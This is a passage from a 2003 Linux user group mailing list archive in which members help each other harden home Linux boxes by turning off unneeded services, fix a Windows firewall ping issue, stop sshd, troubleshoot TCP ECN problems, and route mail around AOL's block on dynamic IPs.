bucks a month. It was >>easy and I got a win2k, xp and rh9 on the internet. Then I got rooted. >> >> > >A second router wouldn't have helped you. You can filter packets with >the actiontec and/or the linksys. It's like putting in a second front >door in your house to make it harder to break into. If you don't lock >them it's not going to help. > > > Back in the days... when I got the Cisco 678 DSL Modem if you weren't running a fire wall or a router like the Linksys you got DOS attacked every day. So owning old technology I said get a Linksys. Heck I own a 486 laptop and I want Linux on it. I'm old so I gots old stuff ;o) _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Fri Aug 22 23:16:00 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:52 2005 Subject: [TCLUG] Cygwin In-Reply-To: References: <3F4642D5.5060101@visi.com> <16198.54430.51759.875370@gargle.gargle.HOWL> Message-ID: <3F46EA80.2040208@visi.com> I think I'll play some DOD. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From spencer at autonomous.tv Fri Aug 22 23:22:21 2003 From: spencer at autonomous.tv (Spencer Butler) Date: Mon Jan 17 12:40:52 2005 Subject: [TCLUG] Router with DSL? In-Reply-To: <3F46EA2C.1090007@visi.com> References: <1061593277.1010.720.camel@lotsa> <3F46EA2C.1090007@visi.com> Message-ID: <20030823042221.GL29442@autonomous.tv> On Fri, Aug 22, 2003 at 11:14:37PM -0500, Sam MacDonald wrote: >I'm old so I gots old stuff ;o) I'm so young I gots the old folks hand-me-downs... -- Linux Administrator || Technology Specialist || Wifi Engineer http://autonomous.tv/~spencer/resume/ || spencer@autonomous.tv Key fingerprint = 173B 8760 E59F DBF8 6FD2 68F8 ABA2 AB08 49C7 4754 -------------- next part -------------- A non-text attachment was scrubbed... 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I have no idea what famd is. You probably don't need any inetd services running. You should either turn inetd off, or at least edit /etc/inetd.conf and comment out, well, everything. So basically you can copy inted.conf to a backup file and just make an empty one. You don't need lpd if you're not printing anything. You don't need portmap/rpc.whatever if you're not serving NFS. Turn 'em all off! (: -Yaron -- _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From poptix at techmonkeys.org Sat Aug 23 03:55:12 2003 From: poptix at techmonkeys.org (Matthew S. Hallacy) Date: Mon Jan 17 12:40:52 2005 Subject: [TCLUG] gettin' paranoid In-Reply-To: <1061627182.688.35.camel@debian> References: <1061627182.688.35.camel@debian> Message-ID: <20030823085512.GA13598@techmonkeys.org> Looks like a typical debian installation, or a 5 year old copy of redhat/slackware, the only thing missing is systat and netstat =) either way, you should disable/remove portmap, edit /etc/inetd.conf and disable discard, daytime, time, probably smtp, disable/remove lpd (do you have a printer attached?), rpc.statd and most likely famd as well, unless you meant to run a local dns server. if you have no specific need for a local dns server, i'd disable it and use your ISP's. 32768 happens to be the first port linux uses upon an application asking for a socket, it's either inetd itself, or smtp. You'd think debian would get a clue and stop enabling this crap by default, redhat and slackware learned years ago. > portmap 207 daemon 4u IPv4 191 TCP *:sunrpc (LISTEN) > inetd 325 root 4u IPv4 379 TCP *:discard (LISTEN) > inetd 325 root 6u IPv4 381 TCP *:daytime (LISTEN) > inetd 325 root 7u IPv4 382 TCP *:time (LISTEN) > inetd 325 root 10u IPv4 385 TCP *:smtp (LISTEN) > inetd 325 root 11u IPv4 386 TCP *:auth (LISTEN) > inetd 325 root 12u IPv4 387 TCP *:32768 (LISTEN) > lpd 332 root 6u IPv4 459 TCP *:printer (LISTEN) > sshd 339 root 3u IPv4 471 TCP *:ssh (LISTEN) > rpc.statd 450 root 6u IPv4 609 TCP *:632 (LISTEN) > famd 533 nick 0u IPv4 387 TCP *:32768 (LISTEN) > famd 533 nick 1u IPv4 387 TCP *:32768 (LISTEN) > famd 533 nick 2u IPv4 387 TCP *:32768 (LISTEN > > doing some googling around, it seems famd is doing some DNS stuff, > rpc.statd is monitoring network status, and inetd is providing a bunch > of services i don't really need -- please correct me if i'm wrong! -- Matthew S. Hallacy FUBAR, LART, BOFH Certified http://www.poptix.net GPG public key 0x01938203 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From crc1021 at myrealbox.com Sat Aug 23 07:56:31 2003 From: crc1021 at myrealbox.com (E Lofstad) Date: Mon Jan 17 12:40:52 2005 Subject: [TCLUG] can't get OSDN sites Message-ID: <1061643391.ec28a0e0crc1021@myrealbox.com> I can not pull up the Slashdot or a couple other OSDN sites (like newsforge, linux.com). I don't know what has changed. I'm running Debian Sarge, but I don't think anything with the TCP stuff has changed in a while. After the initial response from slashdot, there are no more packets. Any thoughts? Eric 207.218.45.179.32925 > 66.35.250.150.www: S [tcp sum ok] 1597781171:1597781171(0) win 1840 (DF) (ttl 64, id 60643, len 60) 66.35.250.150.www > 207.218.45.179.32925: S [tcp sum ok] 9516:9516(0) ack 1597781172 win 8760 (DF) (ttl 115, id 40656, len 48) 207.218.45.179.32925 > 66.35.250.150.www: . [tcp sum ok] 1:1(0) ack 1 win 1840 (DF) (ttl 64, id 60644, len 40) 207.218.45.179.32925 > 66.35.250.150.www: P 1:338(337) ack 1 win 1840 (DF) (ttl 64, id 60645, len 377) 207.218.45.179.32924 > 66.35.250.150.www: F [tcp sum ok] 1584052131:1584052131(0) ack 7468 win 1840 (DF) (ttl 64, id 26244, len 40) _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Sat Aug 23 08:40:00 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:53 2005 Subject: [TCLUG] Cygwin In-Reply-To: References: <3F4642D5.5060101@visi.com> <16198.54430.51759.875370@gargle.gargle.HOWL> Message-ID: <3F476EB0.4000805@visi.com> I have Cygwin with X windows working. I do not have KDE installed locally (on the w98 box) it's on the Linux box. I have X11R6 and fvwm installed on the Linux box. I figured out how to get X11 and fvwm independently of each other. And I'm looking at a some what configured fvwm screen I ran the configuration options and it has a nice maroon background. (I trying to describe where I am without sending a graphic. That and it's about 7:30 AM Saturday morning). I just did a ssh and connected to my server "Imlidris" WooHoo :O) I'm down loading KDE now. Putty question X display location This is something the Putty documentation talks about but never really explains what to do with it. Is this the local path to the x window manager i.e. c:\cygwin\....? [philosophy] I'm starting to think Putty configuration is something that one must have a little luck with. I'm not a person who believes in luck, faith yes, luck no. I have faith that a configuration exists somewhere in bit heaven but I'm not having much luck finding it. Sam _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From waynej at dccmn.com Sat Aug 23 10:48:09 2003 From: waynej at dccmn.com (Wayne Johnson) Date: Mon Jan 17 12:40:53 2005 Subject: [TCLUG] gettin' paranoid In-Reply-To: <1061627182.688.35.camel@debian> References: <1061627182.688.35.camel@debian> Message-ID: <3037.192.1.1.23.1061653689.squirrel@dccmn.com> Others have covered what to shut down. Better yet, enable ipchains/iptables, disable everything, and only enable what you need. I also recommend using ssh/scp instead of telnet/ftp. nick phillips said: > all this talk of rootkits made me curious, so i did a 'lsof | grep > LISTEN' on my athlon box and got this: > > portmap 207 daemon 4u IPv4 191 TCP *:sunrpc (LISTEN) > inetd 325 root 4u IPv4 379 TCP *:discard (LISTEN) > inetd 325 root 6u IPv4 381 TCP *:daytime (LISTEN) > inetd 325 root 7u IPv4 382 TCP *:time (LISTEN) > inetd 325 root 10u IPv4 385 TCP *:smtp (LISTEN) > inetd 325 root 11u IPv4 386 TCP *:auth (LISTEN) > inetd 325 root 12u IPv4 387 TCP *:32768 (LISTEN) > lpd 332 root 6u IPv4 459 TCP *:printer (LISTEN) > sshd 339 root 3u IPv4 471 TCP *:ssh (LISTEN) > rpc.statd 450 root 6u IPv4 609 TCP *:632 (LISTEN) famd > 533 nick 0u IPv4 387 TCP *:32768 (LISTEN) famd > 533 nick 1u IPv4 387 TCP *:32768 (LISTEN) famd > 533 nick 2u IPv4 387 TCP *:32768 (LISTEN > > doing some googling around, it seems famd is doing some DNS stuff, > rpc.statd is monitoring network status, and inetd is providing a bunch > of services i don't really need -- please correct me if i'm wrong! > > i'm interested in learning about the potential vulnerabilities of these > services, about which ones are really necessary and which ones i can > turn off -- and how. could anybody point me towards a good > online/offline resource for learning about how to protect against > potential attacks? any leads would be appreciated. > > best, > nick > > > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From waynej at dccmn.com Sat Aug 23 11:04:47 2003 From: waynej at dccmn.com (Wayne Johnson) Date: Mon Jan 17 12:40:53 2005 Subject: [TCLUG] ping but no pong In-Reply-To: <3F4666D3.9030105@eworld3.net> References: <3F465B77.1010501@eworld3.net> <3F4666D3.9030105@eworld3.net> Message-ID: <3122.192.1.1.23.1061654687.squirrel@dccmn.com> 1) Check your subnets and IP addresses. Do ifconfig on Linux and ipconfig /all on Windows. 2) Check routes on both with netstat -r 3) Check that the windows box is receiving the ping by doing a netstat -e to see the interface statistics. One problem I have had was a bad IRQ on the old NE2000 card I had in windows. It could send a packet but never got the interrupt to say it had received one. Another problem I had was a broken wire between the board and the BNC connector (it was a cheap net lan card, how many people remember these?). Hope this gives you some ideas. Rick Meyerhoff said: > > > Johnny Fulcrum wrote: >> On Fri, 22 Aug 2003 13:05:43 -0500, Rick Meyerhoff >> wrote: >> >>> I still have not been able to get my network (just a crossover cable) >>> to work right. At this >>> point I can ping from w2k to Linux but not from Linux to w2k. Here is >>> what happens when I try: >>> >>> [rick@myLinux rick]$ ping myW2k >>> PING myW2k (192.168.1.2) 56(84) bytes of data. >>> >> >> >> Humm... can you ping the IP address of your windows box instead of >> it's > > same problem > >> name? PING is saying that the IP address of myw2k is 192.168.1.2 - is >> that true? >> Do you have a Name Server that is resolving names on you LAN? Just >> wondering how ping is knowing the IP address of the windows box... > > I just use hosts files on both machines and they look right. > >> >> I'm kinda new to this too, these are just some thoughts I had :) > > > -- > Eric (Rick) Meyerhoff > rick@eworld3.net > 952-929-1659 > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From waynej at dccmn.com Sat Aug 23 11:12:39 2003 From: waynej at dccmn.com (Wayne Johnson) Date: Mon Jan 17 12:40:53 2005 Subject: [TCLUG] SSHD In-Reply-To: <3F466E4F.7010202@visi.com> References: <3F463990.6020006@visi.com> <3F463960.5060500@druswanderings.net> <3F466E4F.7010202@visi.com> Message-ID: <3139.192.1.1.23.1061655159.squirrel@dccmn.com> Sam MacDonald said: > Yesterday I had a little power problem, the lack of it for about 2 > seconds. That caused my workstation, Linux box, DSL modem, Linksys > router, switch, and lights to go BLACK. Only my Compaq Proliant 2500 > stayed up, it isn't on a ups but it is on a very good surge suppressor > and a different circuit. Thanks to Compaq for building a work horse. The power into your house is on 2 different circuits. One is 180 degrees out of phase from the other thus creating your 220v circuits. It's possible for one phase to go out and not the other. Ever have a power failure where only half of the lights in your house go out? I was an operator once for a UNISYS 9030. One day the CPU stopped, but the lights and the disk drives kept working and the tape drives were out. We had lost half of our 220v circuit. Took a while to convince the DP manager that we had power problems. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From waynej at dccmn.com Sat Aug 23 12:43:17 2003 From: waynej at dccmn.com (Wayne Johnson) Date: Mon Jan 17 12:40:53 2005 Subject: [TCLUG] SSHD In-Reply-To: <3F463F89.9050007@visi.com> References: <3F463990.6020006@visi.com> <95dc1a1b137f9e4666cf3c15acb91215@slushpupie.com> <3F463F89.9050007@visi.com> Message-ID: <3246.192.1.1.23.1061660597.squirrel@dccmn.com> Some systems have a service command that calls the init.d commands. Less typing. Sam MacDonald said: > Jay Kline wrote: > >>On August 22, 10:41 am Sam MacDonald wrote: >> >> >>>Well sshd works very, very well, except now I can't start an X >>> session using WinaXe. >>>When I attempted to stop sshd on my Linux box as "root" >>>sshd stop >>>It returns the following message >>>Extra argument stop. >>>****** >>>version Openssh_2.9p2 >>>****** >>>I can stop and start other demons but it's like this one can't be >>> stopped . The man page doesn't list any way to stop sshd, is it a >>> freight train? >>>Sam. >>> >>> >> >> >>Try "/etc/rc.d/init.d/sshd stop" or even "killall sshd" >> >>Of course, if you are logged in via ssh, it will end your session, >> rather quickly. >> >>Jay >> >> >> >> > That worked very well. > So being in the init.d directory and running sshd stop is different then > /etc/rc.d/init.d/sshd stop > Sort of interesting but annoying > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From david at acz.org Sat Aug 23 12:59:05 2003 From: david at acz.org (David Phillips) Date: Mon Jan 17 12:40:53 2005 Subject: [TCLUG] SSHD References: <3F463990.6020006@visi.com> <95dc1a1b137f9e4666cf3c15acb91215@slushpupie.com> <3F463F89.9050007@visi.com> <3246.192.1.1.23.1061660597.squirrel@dccmn.com> Message-ID: <000601c369a0$3dfeabd0$0201a8c0@brinstar> Wayne Johnson writes: > Some systems have a service command that calls the init.d commands. > Less typing. svc -d /service/sshd -- David Phillips http://david.acz.org/ _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From waynej at dccmn.com Sat Aug 23 12:58:53 2003 From: waynej at dccmn.com (Wayne Johnson) Date: Mon Jan 17 12:40:53 2005 Subject: [TCLUG] ppp over ssh help In-Reply-To: <16197.35270.456891.139639@workstation.mn.mtu.net> References: <16197.35270.456891.139639@workstation.mn.mtu.net> Message-ID: <3299.192.1.1.23.1061661533.squirrel@dccmn.com> I use it all the time to connect to work through their firewall. I have a e-mail automaton on the linux machine at work. It issues a ppp call command to call my gateway at home. The ppp call script does a ssh command to establish the session. My work and home system then uses nat/snat/masquerading to hide the home network from the work network. Jon Schewe said: > Has anyone ever set this up before? I've got a home lan setup with an > OpenBSD box as the gateway (2 NICs using NAT). At work I have a Linux > box accessible via ssh and I would like to run pppd on it instead of > slirp to hopefully get some better throughput. The Linux box only has 1 > NIC and is on the work network. I'd like to bridge the two networks. > > Home Lan (196.168.42.x) -> OpenBSD Gateway (using NAT) -> ssh/ppp -> > Linux box -> work network > > I've done this with slirp on the Linux box and it works ok, but I'd like > to use pppd on the Linux box instead. Can I get away with just doing > proxyarp on the Linux box or do I need to setup ppp to give my VPN > connection an IP and use NAT to get from my home lan to the work > network? > > Thanks for any insight one can provide. Like I said I've got it setup > with slirp, but haven't tried pppd and figured it'd be quicker to ask if > someone had done this before. > > -- > Jon Schewe | http://mtu.net/~jpschewe | jpschewe@mtu.net > For I am convinced that neither death nor life, neither angels > nor demons, neither the present nor the future, nor any > powers, neither height nor depth, nor anything else in all > creation, will be able to separate us from the love of God that > is in Christ Jesus our Lord. - Romans 8:38-39 > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From rick at eworld3.net Sat Aug 23 13:08:25 2003 From: rick at eworld3.net (Rick Meyerhoff) Date: Mon Jan 17 12:40:53 2005 Subject: [TCLUG] ping but no pong In-Reply-To: <20030822182632.GA31033@mail.el-swifto.com> References: <3F465B77.1010501@eworld3.net> <20030822182632.GA31033@mail.el-swifto.com> Message-ID: <3F47AD99.6070200@eworld3.net> This works perfectly! Thank you so much! John J. Trammell wrote: > On Fri, Aug 22, 2003 at 01:05:43PM -0500, Rick Meyerhoff wrote: > [ping troubles snipped] > >>It's annoying to turn it off because I >>only have one mouse (gave the spares away) and if I move the mouse from >>the Linux box Linux stops recognizing the mouse when I replace it and so >>I have to reboot. >> > > > One way around this problem that has worked for me in the past > is to switch from X to a text console (e.g. Ctrl-Alt-F1), then > back into X (Ctrl-Alt-F7). Much faster than rebooting. > -- Eric (Rick) Meyerhoff rick@eworld3.net 952-929-1659 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From rick at eworld3.net Sat Aug 23 13:15:04 2003 From: rick at eworld3.net (Rick Meyerhoff) Date: Mon Jan 17 12:40:53 2005 Subject: [TCLUG] ping but no pong In-Reply-To: <3F465B77.1010501@eworld3.net> References: <3F465B77.1010501@eworld3.net> Message-ID: <3F47AF28.5040306@eworld3.net> Thanks for all your help but I think it was just a mis-configured windoze firewall. Yes I feel stupid for not figuring this out. I thought that my install or update of ZoneAlarm might be bad so I re-installed it and re-did all the settings. As I was doing this it dawned on me that ZoneAlarm did not know about my Linux box. So I set that up and put it in the Trusted Zone and viola, no more problems. I guess this is how one learns ;-) I did get a solution to the mouse problem from John Trammell that works very well: switch from X to a text console (e.g. Ctrl-Alt-F1), then back into X (Ctrl-Alt-F7). Rick Meyerhoff wrote: > I still have not been able to get my network (just a crossover cable) to > work right. At this > point I can ping from w2k to Linux but not from Linux to w2k. Here is > what happens when I try: > > [rick@myLinux rick]$ ping myW2k > PING myW2k (192.168.1.2) 56(84) bytes of data. > > (the link lights on both cards flash in unison but this ping just > "hangs" here without any output until I CTRL-C, then I get...) > > --- myW2k ping statistics --- > 8 packets transmitted, 0 received, 100% packet loss, time 7016ms > > > I am still learning about networking so please don't make any assumptions. > > Could it be my windoze firewall (ZoneAlarm)? It does not report that > someone has been trying to ping. It's annoying to turn it off because I > only have one mouse (gave the spares away) and if I move the mouse from > the Linux box Linux stops recognizing the mouse when I replace it and so > I have to reboot. > -- Eric (Rick) Meyerhoff rick@eworld3.net 952-929-1659 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From hick0088 at tc.umn.edu Sat Aug 23 15:20:14 2003 From: hick0088 at tc.umn.edu (Mike Hicks) Date: Mon Jan 17 12:40:54 2005 Subject: [TCLUG] can't get OSDN sites In-Reply-To: <1061643391.ec28a0e0crc1021@myrealbox.com> References: <1061643391.ec28a0e0crc1021@myrealbox.com> Message-ID: <1061670013.24232.16.camel@3po> On Sat, 2003-08-23 at 07:56, E Lofstad wrote: > I can not pull up the Slashdot or a couple other OSDN sites (like > newsforge, linux.com). I don't know what has changed. I'm running > Debian Sarge, but I don't think anything with the TCP stuff has > changed in a while. After the initial response from slashdot, there > are no more packets. Any thoughts? Heh, this looks like behavior caused by my favorite feature of the kernel, but it could be something else. One of the most common causes of sites disappearing from the 'Net is the use of TCP ECN (Explicit Congestion Notification). This uses a previously reserved field in the TCP header, so old routers that expect the field to be set to zero can do things like drop packets or reset the connection. I usually try to have it enabled on my system since it is supposed to help the Internet handle congestion more gracefully, but after a few days I'll tend to notice that I can't get to one site or another, so I have to turn it off. To see if it's enabled on your system cat /proc/sys/net/ipv4/tcp_ecn To disable it (which is the default these days) echo 0 > /proc/sys/net/ipv4/tcp_ecn This feature may have been enabled in your /etc/sysctl.conf file, so you'll want to check there to make sure it doesn't get re-enabled on reboot.. It's possible that the problem is on the other end, in which case you'd need to contact someone somewhere (but I don't know where, exactly). Or, I might be completely wrong, and some completely separate issue might be causing the problem. -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ #define EBEFOREI /* Invalid / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ syntax */ \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20030823/06b00740/attachment.pgp From josh at trutwins.homeip.net Sat Aug 23 15:40:54 2003 From: josh at trutwins.homeip.net (Josh Trutwin) Date: Mon Jan 17 12:40:54 2005 Subject: [TCLUG] snort, pop3 and plaintext - oh my! In-Reply-To: References: Message-ID: <20030823154054.00001a7d.josh@trutwins.homeip.net> > some boring data goes by.. then BAM! Whatwasthat? Oh, my mail > client checking mail.. > > Oh, my password plaintext going out into the great unknown... > > Oh Roadrunner - why is this so??? Don't blame Roadrunner, it's the protocol's fault. POP3/IMAP sends passwords from the client to the server in plain text, so does FTP and Telnet (which is why you should always use SSH, don't even install telnet, rsh, etc). Wonderful what you can find with stuff like ethereal and snort isn't it? You can find ways to do each of these protocols over SSL though so no plaintext passwords are sent over the ether. Josh _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From josh at trutwins.homeip.net Sat Aug 23 15:43:36 2003 From: josh at trutwins.homeip.net (Josh Trutwin) Date: Mon Jan 17 12:40:54 2005 Subject: [TCLUG] SSHD In-Reply-To: <000601c369a0$3dfeabd0$0201a8c0@brinstar> References: <3F463990.6020006@visi.com> <95dc1a1b137f9e4666cf3c15acb91215@slushpupie.com> <3F463F89.9050007@visi.com> <3246.192.1.1.23.1061660597.squirrel@dccmn.com> <000601c369a0$3dfeabd0$0201a8c0@brinstar> Message-ID: <20030823154336.00000e8c.josh@trutwins.homeip.net> > Wayne Johnson writes: > > Some systems have a service command that calls the init.d commands. > > Less typing. > > svc -d /service/sshd Heh. Do I dare? This is only for those folks running daemontools, I won't add any childish blather. Josh _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Sat Aug 23 19:17:24 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:54 2005 Subject: [TCLUG] edit an iso file ? In-Reply-To: References: <0399641989D32043BED5793CCC8F5CD526FAB8@BPEXU1VM2.andersencorp.com> Message-ID: <3F480414.6030001@visi.com> I know a guy that had cygwin on some sort of pc card... I think I'll email him Lets see.... OH I'll look in OE his address is in that eMail... Johnny Fulcrum wrote: > On Fri, 22 Aug 2003 14:21:36 -0500, Lansing, Dan > wrote: > >> I have installed enough *nix like tools on my windows box here at >> work I almost cant even tell the difference anymore.... >> Blackbox for windows==>http://bb4win.org/news.php >> winVI==>http://www.winvi.de/en/ >> unixutils==>http://unxutils.sourceforge.net/ > > > > Sweet set o' tools there... have you ever checked out > http://gnuwin.org/index.html ? > > nice iso to burn and take with you! > > > >> my work wont let me use anything other than windows 2000 so I have to >> cope somehow....i no longer know how to launch a program anyway other > > > no dual boot? Man that's harsh! how about vmware? It's big $$ but > I had a chance to play with a fully licensed version recently - HA! > I made XP run Redhat, Lycoris, Mandrake and Knoppix! > > ;D > >> than from command line or from a right click on the desktop for a >> menu....start menu baffles me :) >> -----Original Message----- >> From: Johnny Fulcrum [mailto:johnnyfulcrum@mn.rr.com] Sent: Friday, >> August 22, 2003 2:08 PM >> To: tclug-list@mn-linux.org >> Subject: Re: [TCLUG] edit an iso file ? >> >> Don't mind winodws - jsut when it comes to editing *nix files I >> prefer to stick on the *nix OS... >> >> Although, with the new patches for IE out taoday I'm steering clear >> of IE altogether >> As well as MS LookOut (outLook) as it uses the same html rendering >> engine as IE.. >> Big ol' holes - likea da swiss' cheese! >> >> > > > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From crc1021 at myrealbox.com Sat Aug 23 21:01:44 2003 From: crc1021 at myrealbox.com (Eric Lofstad) Date: Mon Jan 17 12:40:54 2005 Subject: [TCLUG] can't get OSDN sites In-Reply-To: <1061670013.24232.16.camel@3po> References: <1061643391.ec28a0e0crc1021@myrealbox.com> <1061670013.24232.16.camel@3po> Message-ID: <20030823210144.3ac08fa7.crc1021@myrealbox.com> On 23 Aug 2003 15:20:14 -0500 Mike Hicks wrote: > On Sat, 2003-08-23 at 07:56, E Lofstad wrote: > > I can not pull up the Slashdot or a couple other OSDN sites (like > > newsforge, linux.com). I don't know what has changed. I'm running > > Debian Sarge, but I don't think anything with the TCP stuff has > > changed in a while. After the initial response from slashdot, there > > are no more packets. Any thoughts? > > Heh, this looks like behavior caused by my favorite feature of the > kernel, but it could be something else. One of the most common causes > of sites disappearing from the 'Net is the use of TCP ECN (Explicit > Congestion Notification). This uses a previously reserved field in the > TCP header, so old routers that expect the field to be set to zero can > do things like drop packets or reset the connection. > I ran into that problem before with other sites, so I've have had ECN set to zero for a while. Could the ISP have inserted a transparent proxy which is screwing thing up? _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jkey at tomobiki.dyndns.org Sat Aug 23 21:51:06 2003 From: jkey at tomobiki.dyndns.org (Joseph) Date: Mon Jan 17 12:40:54 2005 Subject: [TCLUG] AOL new mail policy Message-ID: <000401c369ea$90b7bc50$0436a8c0@Kurama> I was tried to send a message to an AOL account from my home network and I received the following error message from them. The original message was received at Thu, 21 Aug 2003 17:39:30 -0500 from IDENT:1000@Lum.tomobiki.dyndns.org [192.168.57.2] ----- The following addresses had permanent fatal errors ----- (reason: 554- (RTR:BB) The IP address you are using to connect to AOL is a dynamic ) ----- Transcript of session follows ----- ... while talking to mailin-04.mx.aol.com.: <<< 554- (RTR:BB) The IP address you are using to connect to AOL is a dynamic <<< 554- (residential) IP address. AOL will not accept future e-mail transactions <<< 554- from this IP address until your ISP removes this IP address from its list <<< 554- of dynamic (residential) IP addresses. For additional information, <<< 554 please visit http://postmaster.info.aol.com. ... while talking to mailin-01.mx.aol.com.: >>> QUIT <<< 554- (RTR:BB) The IP address you are using to connect to AOL is a dynamic <<< 554- (residential) IP address. AOL will not accept future e-mail transactions <<< 554- from this IP address until your ISP removes this IP address from its list <<< 554- of dynamic (residential) IP addresses. For additional information, <<< 554 please visit http://postmaster.info.aol.com. ... while talking to mailin-02.mx.aol.com.: >>> QUIT <<< 554- (RTR:BB) The IP address you are using to connect to AOL is a dynamic <<< 554- (residential) IP address. AOL will not accept future e-mail transactions <<< 554- from this IP address until your ISP removes this IP address from its list <<< 554- of dynamic (residential) IP addresses. For additional information, <<< 554 please visit http://postmaster.info.aol.com. ... while talking to mailin-03.mx.aol.com.: >>> QUIT <<< 554- (RTR:BB) The IP address you are using to connect to AOL is a dynamic <<< 554- (residential) IP address. AOL will not accept future e-mail transactions <<< 554- from this IP address until your ISP removes this IP address from its list <<< 554- of dynamic (residential) IP addresses. For additional information, <<< 554 please visit http://postmaster.info.aol.com. 554 5.0.0 Service unavailable It looks like this is the way they are trying to deal with the SPAM problem. I had to use my ISP mail server to send the mail to the account. Joseph Key _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From david at acz.org Sat Aug 23 22:45:28 2003 From: david at acz.org (David Phillips) Date: Mon Jan 17 12:40:54 2005 Subject: [TCLUG] AOL new mail policy References: <000401c369ea$90b7bc50$0436a8c0@Kurama> Message-ID: <001001c369f2$28c8b470$0201a8c0@brinstar> Joseph writes: > I was tried to send a message to an AOL account from my home network > and I received the following error message from them. You need to send mail for AOL through your ISP's mail server. This is how you do it with qmail: echo aol.com:smtp.your-isp.com >> /var/qmail/control/smtproutes The same policy is in effect for netscape.net and rr.com. -- David Phillips http://david.acz.org/ _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From david at acz.org Sat Aug 23 22:48:06 2003 From: david at acz.org (David Phillips) Date: Mon Jan 17 12:40:54 2005 Subject: [TCLUG] can't get OSDN sites References: <1061643391.ec28a0e0crc1021@myrealbox.com><1061670013.24232.16.camel@3po> <20030823210144.3ac08fa7.crc1021@myrealbox.com> Message-ID: <001101c369f2$870304f0$0201a8c0@brinstar> Eric Lofstad writes: > Could the ISP have inserted a transparent > proxy which is screwing thing up? Yes. To see if there is a proxy, visit this URL. If the IP shown is not yours, then there is a proxy: http://ip.itmom.net/ Note that the converse is not necessarily true. It is possible to have a completely transparent proxy using some fancy routing tricks. -- David Phillips http://david.acz.org/ 